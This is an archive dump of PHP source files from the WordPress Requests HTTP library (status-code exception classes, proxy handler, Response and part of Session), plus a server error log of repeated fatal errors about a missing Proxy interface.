 * Exception for 305 Use Proxy responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 305 Use Proxy responses
 *
 * @package Requests\Exceptions
 */
final class Status305 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 305;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Use Proxy';
}
Exception/Http/Status500.php000064400000000747151024327070011653 0ustar00<?php
/**
 * Exception for 500 Internal Server Error responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 500 Internal Server Error responses
 *
 * @package Requests\Exceptions
 */
final class Status500 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 500;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Internal Server Error';
}
Exception/Http/Status407.php000064400000000777151024327070011664 0ustar00<?php
/**
 * Exception for 407 Proxy Authentication Required responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 407 Proxy Authentication Required responses
 *
 * @package Requests\Exceptions
 */
final class Status407 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 407;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Proxy Authentication Required';
}
Exception/Http/Status400.php000064400000000711151024327070011641 0ustar00<?php
/**
 * Exception for 400 Bad Request responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 400 Bad Request responses
 *
 * @package Requests\Exceptions
 */
final class Status400 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 400;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Bad Request';
}
Exception/Http/Status511.php000064400000001145151024327070011646 0ustar00<?php
/**
 * Exception for 511 Network Authentication Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 511 Network Authentication Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */
final class Status511 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 511;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Network Authentication Required';
}
Exception/Http/Status418.php000064400000001054151024327070011653 0ustar00<?php
/**
 * Exception for 418 I'm A Teapot responses
 *
 * @link https://tools.ietf.org/html/rfc2324
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 418 I'm A Teapot responses
 *
 * @link https://tools.ietf.org/html/rfc2324
 *
 * @package Requests\Exceptions
 */
final class Status418 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 418;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = "I'm A Teapot";
}
Exception/Http/Status304.php000064400000000714151024327070011647 0ustar00<?php
/**
 * Exception for 304 Not Modified responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 304 Not Modified responses
 *
 * @package Requests\Exceptions
 */
final class Status304 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 304;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Modified';
}
Exception/Http/Status417.php000064400000000736151024327070011660 0ustar00<?php
/**
 * Exception for 417 Expectation Failed responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 417 Expectation Failed responses
 *
 * @package Requests\Exceptions
 */
final class Status417 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 417;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Expectation Failed';
}
Exception/Http/Status306.php000064400000000714151024327070011651 0ustar00<?php
/**
 * Exception for 306 Switch Proxy responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 306 Switch Proxy responses
 *
 * @package Requests\Exceptions
 */
final class Status306 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 306;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Switch Proxy';
}
Exception/Http/Status414.php000064400000000747151024327070011657 0ustar00<?php
/**
 * Exception for 414 Request-URI Too Large responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 414 Request-URI Too Large responses
 *
 * @package Requests\Exceptions
 */
final class Status414 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 414;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request-URI Too Large';
}
Exception/Http/Status415.php000064400000000752151024327070011654 0ustar00<?php
/**
 * Exception for 415 Unsupported Media Type responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 415 Unsupported Media Type responses
 *
 * @package Requests\Exceptions
 */
final class Status415 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 415;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unsupported Media Type';
}
Exception/Http/Status429.php000064400000001163151024327070011656 0ustar00<?php
/**
 * Exception for 429 Too Many Requests responses
 *
 * @link https://tools.ietf.org/html/draft-nottingham-http-new-status-04
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 429 Too Many Requests responses
 *
 * @link https://tools.ietf.org/html/draft-nottingham-http-new-status-04
 *
 * @package Requests\Exceptions
 */
final class Status429 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 429;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Too Many Requests';
}
Exception/Http/Status404.php000064400000000703151024327070011646 0ustar00<?php
/**
 * Exception for 404 Not Found responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 404 Not Found responses
 *
 * @package Requests\Exceptions
 */
final class Status404 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 404;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Found';
}
Exception/Http/Status408.php000064400000000725151024327070011656 0ustar00<?php
/**
 * Exception for 408 Request Timeout responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 408 Request Timeout responses
 *
 * @package Requests\Exceptions
 */
final class Status408 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 408;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Timeout';
}
Exception/Http/Status413.php000064400000000760151024327070011651 0ustar00<?php
/**
 * Exception for 413 Request Entity Too Large responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 413 Request Entity Too Large responses
 *
 * @package Requests\Exceptions
 */
final class Status413 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 413;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Entity Too Large';
}
Exception/Http/Status428.php000064400000001107151024327070011653 0ustar00<?php
/**
 * Exception for 428 Precondition Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 428 Precondition Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */
final class Status428 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 428;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Precondition Required';
}
Exception/Http/Status502.php000064400000000711151024327070011644 0ustar00<?php
/**
 * Exception for 502 Bad Gateway responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 502 Bad Gateway responses
 *
 * @package Requests\Exceptions
 */
final class Status502 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 502;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Bad Gateway';
}
Exception/Http/Status505.php000064400000000766151024327070011661 0ustar00<?php
/**
 * Exception for 505 HTTP Version Not Supported responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 505 HTTP Version Not Supported responses
 *
 * @package Requests\Exceptions
 */
final class Status505 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 505;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'HTTP Version Not Supported';
}
Exception/Http/StatusUnknown.php000064400000001712151024327070012777 0ustar00<?php
/**
 * Exception for unknown status responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Response;

/**
 * Exception for unknown status responses
 *
 * @package Requests\Exceptions
 */
final class StatusUnknown extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer|bool Code if available, false if an error occurred
	 */
	protected $code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception
	 *
	 * If `$data` is an instance of {@see \WpOrg\Requests\Response}, uses the status
	 * code from it. Otherwise, sets as 0
	 *
	 * @param string|null $reason Reason phrase
	 * @param mixed $data Associated data
	 */
	public function __construct($reason = null, $data = null) {
		if ($data instanceof Response) {
			$this->code = (int) $data->status_code;
		}

		parent::__construct($reason, $data);
	}
}
Exception/Http/Status402.php000064400000000730151024327070011644 0ustar00<?php
/**
 * Exception for 402 Payment Required responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 402 Payment Required responses
 *
 * @package Requests\Exceptions
 */
final class Status402 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 402;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Payment Required';
}
Exception/Http/Status504.php000064400000000725151024327070011653 0ustar00<?php
/**
 * Exception for 504 Gateway Timeout responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 504 Gateway Timeout responses
 *
 * @package Requests\Exceptions
 */
final class Status504 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 504;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Gateway Timeout';
}
Exception/Http/Status401.php000064400000000714151024327070011645 0ustar00<?php
/**
 * Exception for 401 Unauthorized responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 401 Unauthorized responses
 *
 * @package Requests\Exceptions
 */
final class Status401 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 401;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unauthorized';
}
Exception/ArgumentCount.php000064400000002664151024327070012017 0ustar00<?php

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;

/**
 * Exception for when an incorrect number of arguments are passed to a method.
 *
 * Typically, this exception is used when all arguments for a method are optional,
 * but certain arguments need to be passed together, i.e. a method which can be called
 * with no arguments or with two arguments, but not with one argument.
 *
 * Along the same lines, this exception is also used if a method expects an array
 * with a certain number of elements and the provided number of elements does not comply.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class ArgumentCount extends Exception {

	/**
	 * Create a new argument count exception with a standardized text.
	 *
	 * @param string $expected The argument count expected as a phrase.
	 *                         For example: `at least 2 arguments` or `exactly 1 argument`.
	 * @param int    $received The actual argument count received.
	 * @param string $type     Exception type.
	 *
	 * @return \WpOrg\Requests\Exception\ArgumentCount
	 */
	public static function create($expected, $received, $type) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s() expects %s, %d given',
				$stack[1]['class'],
				$stack[1]['function'],
				$expected,
				$received
			),
			$type
		);
	}
}
Exception/Transport.php000064400000000364151024327070011213 0ustar00<?php
/**
 * Transport Exception
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;

/**
 * Transport Exception
 *
 * @package Requests\Exceptions
 */
class Transport extends Exception {}
Exception/Http.php000064400000003006151024327070010132 0ustar00<?php
/**
 * Exception based on HTTP response
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\Http\StatusUnknown;

/**
 * Exception based on HTTP response
 *
 * @package Requests\Exceptions
 */
class Http extends Exception {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception
	 *
	 * There is no mechanism to pass in the status code, as this is set by the
	 * subclass used. Reason phrases can vary, however.
	 *
	 * @param string|null $reason Reason phrase
	 * @param mixed $data Associated data
	 */
	public function __construct($reason = null, $data = null) {
		if ($reason !== null) {
			$this->reason = $reason;
		}

		$message = sprintf('%d %s', $this->code, $this->reason);
		parent::__construct($message, 'httpresponse', $data, $this->code);
	}

	/**
	 * Get the status message.
	 *
	 * @return string
	 */
	public function getReason() {
		return $this->reason;
	}

	/**
	 * Get the correct exception class for a given error code
	 *
	 * @param int|bool $code HTTP status code, or false if unavailable
	 * @return string Exception class name to use
	 */
	public static function get_class($code) {
		if (!$code) {
			return StatusUnknown::class;
		}

		$class = sprintf('\WpOrg\Requests\Exception\Http\Status%d', $code);
		if (class_exists($class)) {
			return $class;
		}

		return StatusUnknown::class;
	}
}
Exception.php000064400000002132151024327070007212 0ustar00<?php
/**
 * Exception for HTTP requests
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests;

use Exception as PHPException;

/**
 * Exception for HTTP requests
 *
 * @package Requests\Exceptions
 */
class Exception extends PHPException {
	/**
	 * Type of exception
	 *
	 * @var string
	 */
	protected $type;

	/**
	 * Data associated with the exception
	 *
	 * @var mixed
	 */
	protected $data;

	/**
	 * Create a new exception
	 *
	 * @param string $message Exception message
	 * @param string $type Exception type
	 * @param mixed $data Associated data
	 * @param integer $code Exception numerical code, if applicable
	 */
	public function __construct($message, $type, $data = null, $code = 0) {
		parent::__construct($message, $code);

		$this->type = $type;
		$this->data = $data;
	}

	/**
	 * Like {@see \Exception::getCode()}, but a string code.
	 *
	 * @codeCoverageIgnore
	 * @return string
	 */
	public function getType() {
		return $this->type;
	}

	/**
	 * Gives any relevant data
	 *
	 * @codeCoverageIgnore
	 * @return mixed
	 */
	public function getData() {
		return $this->data;
	}
}
Proxy/error_log000064400000006534151024327070007613 0ustar00[28-Oct-2025 14:10:56 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Proxy" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php on line 24
[29-Oct-2025 16:12:37 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Proxy" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php on line 24
[02-Nov-2025 05:58:57 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Proxy" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php on line 24
[02-Nov-2025 12:35:55 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Proxy" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php on line 24
[03-Nov-2025 01:10:59 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Proxy" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php on line 24
[03-Nov-2025 06:25:10 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Proxy" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php on line 24
[03-Nov-2025 06:40:55 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Proxy" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php on line 24
[04-Nov-2025 03:49:34 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Proxy" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php on line 24
[04-Nov-2025 04:08:15 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Proxy" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php on line 24
[04-Nov-2025 04:19:11 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Proxy" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Proxy/Http.php on line 24
Proxy/Http.php000064400000010171151024327070007316 0ustar00<?php
/**
 * HTTP Proxy connection interface
 *
 * @package Requests\Proxy
 * @since   1.6
 */

namespace WpOrg\Requests\Proxy;

use WpOrg\Requests\Exception\ArgumentCount;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;
use WpOrg\Requests\Proxy;

/**
 * HTTP Proxy connection interface
 *
 * Provides a handler for connection via an HTTP proxy
 *
 * @package Requests\Proxy
 * @since   1.6
 */
final class Http implements Proxy {
	/**
	 * Proxy host and port
	 *
	 * Notation: "host:port" (eg 127.0.0.1:8080 or someproxy.com:3128)
	 *
	 * @var string
	 */
	public $proxy;

	/**
	 * Username
	 *
	 * @var string
	 */
	public $user;

	/**
	 * Password
	 *
	 * @var string
	 */
	public $pass;

	/**
	 * Do we need to authenticate? (ie username & password have been provided)
	 *
	 * @var boolean
	 */
	public $use_authentication;

	/**
	 * Constructor
	 *
	 * @since 1.6
	 *
	 * @param array|string|null $args Proxy as a string or an array of proxy, user and password.
	 *                                When passed as an array, must have exactly one (proxy)
	 *                                or three elements (proxy, user, password).
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array, a string or null.
	 * @throws \WpOrg\Requests\Exception\ArgumentCount On incorrect number of arguments (`proxyhttpbadargs`)
	 */
	public function __construct($args = null) {
		if (is_string($args)) {
			$this->proxy = $args;
		} elseif (is_array($args)) {
			if (count($args) === 1) {
				list($this->proxy) = $args;
			} elseif (count($args) === 3) {
				list($this->proxy, $this->user, $this->pass) = $args;
				$this->use_authentication                    = true;
			} else {
				throw ArgumentCount::create(
					'an array with exactly one element or exactly three elements',
					count($args),
					'proxyhttpbadargs'
				);
			}
		} elseif ($args !== null) {
			throw InvalidArgument::create(1, '$args', 'array|string|null', gettype($args));
		}
	}

	/**
	 * Register the necessary callbacks
	 *
	 * @since 1.6
	 * @see \WpOrg\Requests\Proxy\Http::curl_before_send()
	 * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_socket()
	 * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_host_path()
	 * @see \WpOrg\Requests\Proxy\Http::fsockopen_header()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks) {
		$hooks->register('curl.before_send', [$this, 'curl_before_send']);

		$hooks->register('fsockopen.remote_socket', [$this, 'fsockopen_remote_socket']);
		$hooks->register('fsockopen.remote_host_path', [$this, 'fsockopen_remote_host_path']);
		if ($this->use_authentication) {
			$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
		}
	}

	/**
	 * Set cURL parameters before the data is sent
	 *
	 * @since 1.6
	 * @param resource|\CurlHandle $handle cURL handle
	 */
	public function curl_before_send(&$handle) {
		curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
		curl_setopt($handle, CURLOPT_PROXY, $this->proxy);

		if ($this->use_authentication) {
			curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);
			curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string());
		}
	}

	/**
	 * Alter remote socket information before opening socket connection
	 *
	 * @since 1.6
	 * @param string $remote_socket Socket connection string
	 */
	public function fsockopen_remote_socket(&$remote_socket) {
		$remote_socket = $this->proxy;
	}

	/**
	 * Alter remote path before getting stream data
	 *
	 * @since 1.6
	 * @param string $path Path to send in HTTP request string ("GET ...")
	 * @param string $url Full URL we're requesting
	 */
	public function fsockopen_remote_host_path(&$path, $url) {
		$path = $url;
	}

	/**
	 * Add extra headers to the request before sending
	 *
	 * @since 1.6
	 * @param string $out HTTP header string
	 */
	public function fsockopen_header(&$out) {
		$out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string()));
	}

	/**
	 * Get the authentication string (user:pass)
	 *
	 * @since 1.6
	 * @return string
	 */
	public function get_auth_string() {
		return $this->user . ':' . $this->pass;
	}
}
Response.php000064400000010271151024327070007055 0ustar00<?php
/**
 * HTTP response class
 *
 * Contains a response from \WpOrg\Requests\Requests::request()
 *
 * @package Requests
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Response\Headers;

/**
 * HTTP response class
 *
 * Contains a response from \WpOrg\Requests\Requests::request()
 *
 * @package Requests
 */
class Response {

	/**
	 * Response body
	 *
	 * @var string
	 */
	public $body = '';

	/**
	 * Raw HTTP data from the transport
	 *
	 * @var string
	 */
	public $raw = '';

	/**
	 * Headers, as an associative array
	 *
	 * @var \WpOrg\Requests\Response\Headers Array-like object representing headers
	 */
	public $headers = [];

	/**
	 * Status code, false if non-blocking
	 *
	 * @var integer|boolean
	 */
	public $status_code = false;

	/**
	 * Protocol version, false if non-blocking
	 *
	 * @var float|boolean
	 */
	public $protocol_version = false;

	/**
	 * Whether the request succeeded or not
	 *
	 * @var boolean
	 */
	public $success = false;

	/**
	 * Number of redirects the request used
	 *
	 * @var integer
	 */
	public $redirects = 0;

	/**
	 * URL requested
	 *
	 * @var string
	 */
	public $url = '';

	/**
	 * Previous requests (from redirects)
	 *
	 * @var array Array of \WpOrg\Requests\Response objects
	 */
	public $history = [];

	/**
	 * Cookies from the request
	 *
	 * @var \WpOrg\Requests\Cookie\Jar Array-like object representing a cookie jar
	 */
	public $cookies = [];

	/**
	 * Constructor
	 */
	public function __construct() {
		$this->headers = new Headers();
		$this->cookies = new Jar();
	}

	/**
	 * Is the response a redirect?
	 *
	 * @return boolean True if redirect (3xx status), false if not.
	 */
	public function is_redirect() {
		$code = $this->status_code;
		return in_array($code, [300, 301, 302, 303, 307], true) || $code > 307 && $code < 400;
	}

	/**
	 * Throws an exception if the request was not successful
	 *
	 * @param boolean $allow_redirects Set to false to throw on a 3xx as well
	 *
	 * @throws \WpOrg\Requests\Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`)
	 * @throws \WpOrg\Requests\Exception\Http On non-successful status code. Exception class corresponds to "Status" + code (e.g. {@see \WpOrg\Requests\Exception\Http\Status404})
	 */
	public function throw_for_status($allow_redirects = true) {
		if ($this->is_redirect()) {
			if ($allow_redirects !== true) {
				throw new Exception('Redirection not allowed', 'response.no_redirects', $this);
			}
		} elseif (!$this->success) {
			$exception = Http::get_class($this->status_code);
			throw new $exception(null, $this);
		}
	}

	/**
	 * JSON decode the response body.
	 *
	 * The method parameters are the same as those for the PHP native `json_decode()` function.
	 *
	 * @link https://php.net/json-decode
	 *
	 * @param bool|null $associative Optional. When `true`, JSON objects will be returned as associative arrays;
	 *                               When `false`, JSON objects will be returned as objects.
	 *                               When `null`, JSON objects will be returned as associative arrays
	 *                               or objects depending on whether `JSON_OBJECT_AS_ARRAY` is set in the flags.
	 *                               Defaults to `true` (in contrast to the PHP native default of `null`).
	 * @param int       $depth       Optional. Maximum nesting depth of the structure being decoded.
	 *                               Defaults to `512`.
	 * @param int       $options     Optional. Bitmask of JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE,
	 *                               JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR.
	 *                               Defaults to `0` (no options set).
	 *
	 * @return array
	 *
	 * @throws \WpOrg\Requests\Exception If `$this->body` is not valid json.
	 */
	public function decode_body($associative = true, $depth = 512, $options = 0) {
		$data = json_decode($this->body, $associative, $depth, $options);

		if (json_last_error() !== JSON_ERROR_NONE) {
			$last_error = json_last_error_msg();
			throw new Exception('Unable to parse JSON data: ' . $last_error, 'response.invalid', $this);
		}

		return $data;
	}
}
Session.php000064400000021623151024327070006705 0ustar00<?php
/**
 * Session handler for persistent requests and default parameters
 *
 * @package Requests\SessionHandler
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Session handler for persistent requests and default parameters
 *
 * Allows various options to be set as default values, and merges both the
 * options and URL properties together. A base URL can be set for all requests,
 * with all subrequests resolved from this. Base options can be set (including
 * a shared cookie jar), then overridden for individual requests.
 *
 * @package Requests\SessionHandler
 */
class Session {
	/**
	 * Base URL for requests
	 *
	 * URLs will be made absolute using this as the base
	 *
	 * @var string|null
	 */
	public $url = null;

	/**
	 * Base headers for requests
	 *
	 * @var array
	 */
	public $headers = [];

	/**
	 * Base data for requests
	 *
	 * If both the base data and the per-request data are arrays, the data will
	 * be merged before sending the request.
	 *
	 * @var array
	 */
	public $data = [];

	/**
	 * Base options for requests
	 *
	 * The base options are merged with the per-request data for each request.
	 * The only default option is a shared cookie jar between requests.
	 *
	 * Values here can also be set directly via properties on the Session
	 * object, e.g. `$session->useragent = 'X';`
	 *
	 * @var array
	 */
	public $options = [];

	/**
	 * Create a new session
	 *
	 * @param string|Stringable|null $url Base URL for requests
	 * @param array $headers Default headers for requests
	 * @param array $data Default data for requests
	 * @param array $options Default options for requests
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or null.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function __construct($url = null, $headers = [], $data = [], $options = []) {
		if ($url !== null && InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable|null', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (is_array($data) === false) {
			throw InvalidArgument::create(3, '$data', 'array', gettype($data));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$this->url     = $url;
		$this->headers = $headers;
		$this->data    = $data;
		$this->options = $options;

